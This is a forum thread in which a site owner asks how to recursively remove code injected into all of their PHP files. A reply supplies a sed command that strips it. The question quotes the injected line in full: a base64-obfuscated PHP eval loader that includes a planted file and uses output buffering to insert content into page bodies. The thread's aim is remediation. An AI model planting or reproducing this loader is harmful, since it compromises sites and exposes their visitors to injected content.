Delete all injected code recursively


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Delete all injected code recursively
# 1  
Old 03-24-2009
Data Delete all injected code recursively

Recently all of the php files on my server got injected with some dating site code and I'm trying to get rid of it all at once. I've tried using sed but I don't know how to escape it correctly because I don't really know what I'm doing. Could you guys help me with the syntax?

Code:
find ./* -type f -exec sed -i 's/<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvdmFyL3d3dy9odG1sL21vb2RsZWRhdGEvMzYvbW9kZGF0YS9mb3J1bS8xMTUvMTI0OC9tZGxfdXRmLnBocCcpKXtpbmNsdWRlX29uY2UoJy92YXIvd3d3L2h0bWwvbW9vZGxlZGF0YS8zNi9tb2RkYXRhL2ZvcnVtLzExNS8xMjQ4L21kbF91dGYucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>//g' {} \;

# 2  
Old 03-24-2009
I assume you're using GNU sed ( I see -i option ) ... see if this helps:

Code:
find . -type f -exec sed -ri 's!<\?php /\*\*/.*\)\); \?>!!g' {} \;

# 3  
Old 03-24-2009
Worked perfectly, thank you!

Quote:
Originally Posted by rubin
I assume you're using GNU sed ( I see -i option ) ... see if this helps:

Code:
find . -type f -exec sed -ri 's!<\?php /\*\*/.*\)\); \?>!!g' {} \;

Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

recursively going through folders and subdirectorys and running delete from crontab

Hio, So I have a crontab delete of older files setup. This script works fine if I run them by each individual directory. Problem is there are so many thousands of files and hundreds of directories and sub directories that I need to recursively have it go through and delete files by directory... (2 Replies)
Discussion started by: vsekvsek
2 Replies

2. UNIX for Advanced & Expert Users

Delete empty directories recursively - HP-UX

Hi, I want to delete all empty directories in a long directore tree structure. I want to use that from a script that will run on HP-UX 11. My definition of empty directory is that there is no regular file under it and directly beneath it. To elaborate, I have below directories. /app/dev/java... (14 Replies)
Discussion started by: asutoshch
14 Replies

3. Shell Programming and Scripting

Decompress (with gunzip) recursively, but do not delete original gz file

Hi all, I have a folder hierarchy with many gz files in them. I would like to recursively decompress them, but keep the original files. I would also like to move all the decompressed files (these are very large HDF5 files with .CP12 extension) to another data folder. Currently I am using four... (3 Replies)
Discussion started by: gansvv
3 Replies

4. UNIX for Advanced & Expert Users

Recursively delete only specified directories with given pattern

Hi All, We have a requirement to recursively delete the directories and its subdirectories older than 60 days based on timestamp (folder creation timestamp)under certain directory. However it has some specific requirements. The directories will continue to be there upto any depth. the... (0 Replies)
Discussion started by: rcvasu
0 Replies

5. UNIX for Dummies Questions & Answers

delete recursively contents of folders

hi, I've a folder structure like : /home/project/LIBNAMEA/FILE1 /home/project/LIBNAMED/FILE2 /home/project/LIBNAMEC/FILE3 /home/project/LIBNAMED/FILE4 /home/project/LIBNAMEX/FILE5 (there is no relation in the letters after the project/ ) and i need to delete the files keeping... (5 Replies)
Discussion started by: jtmartins
5 Replies

6. UNIX for Dummies Questions & Answers

Delete files Recursively *thumbs*.jpg

Greetings, I need to delete all files that contain the word thumbs. Those files are spread all throughout sub-directories in a file directory tree. Is there a script or single line command that will find all files with the word thumbs, and simply delete the file? For example: Delete... (4 Replies)
Discussion started by: ..Chris..
4 Replies

7. Shell Programming and Scripting

Help with Find/Replace Javascript Injected Strings in mulitple files

Hi, guys, I'm not a high-end programmer, but I've been trying to write a script to remove all of the b.rtbn2.cn (and b.adserv.cn and any future variation) injected script tags on the server. (Still working on security fixes to prevent it in the future, just need to clean up now.) My approach is... (1 Reply)
Discussion started by: zzlegs
1 Replies

8. Shell Programming and Scripting

recursively delete the text between 2 strings from a file

i have 200000bytes size of a unix file i need to delete some text between two strings recursively using a loop with sed or awk . these two strings are : 1st string getting from a file :::2 nd string is fi...its constant . can anyone help me sed -n'/<1 st string >/,/fi/' <input_filename> is the... (2 Replies)
Discussion started by: santosh1234
2 Replies

9. Shell Programming and Scripting

delete files recursively in the specified directory

I have to write a shell script which can delete all the files and directories recursively inside the specified directory but should not delete the specified directory. Please some body help me in writing the script. (3 Replies)
Discussion started by: deepthi.s
3 Replies

10. Shell Programming and Scripting

delete files older than 5 minutes in directory (recursively)

sorry guys can some please give me a hint how to achieve this in a slick oneliner? delete files older than 5 minutes in specified directory (recursively) peace (3 Replies)
Discussion started by: scarfake
3 Replies
Login or Register to Ask a Question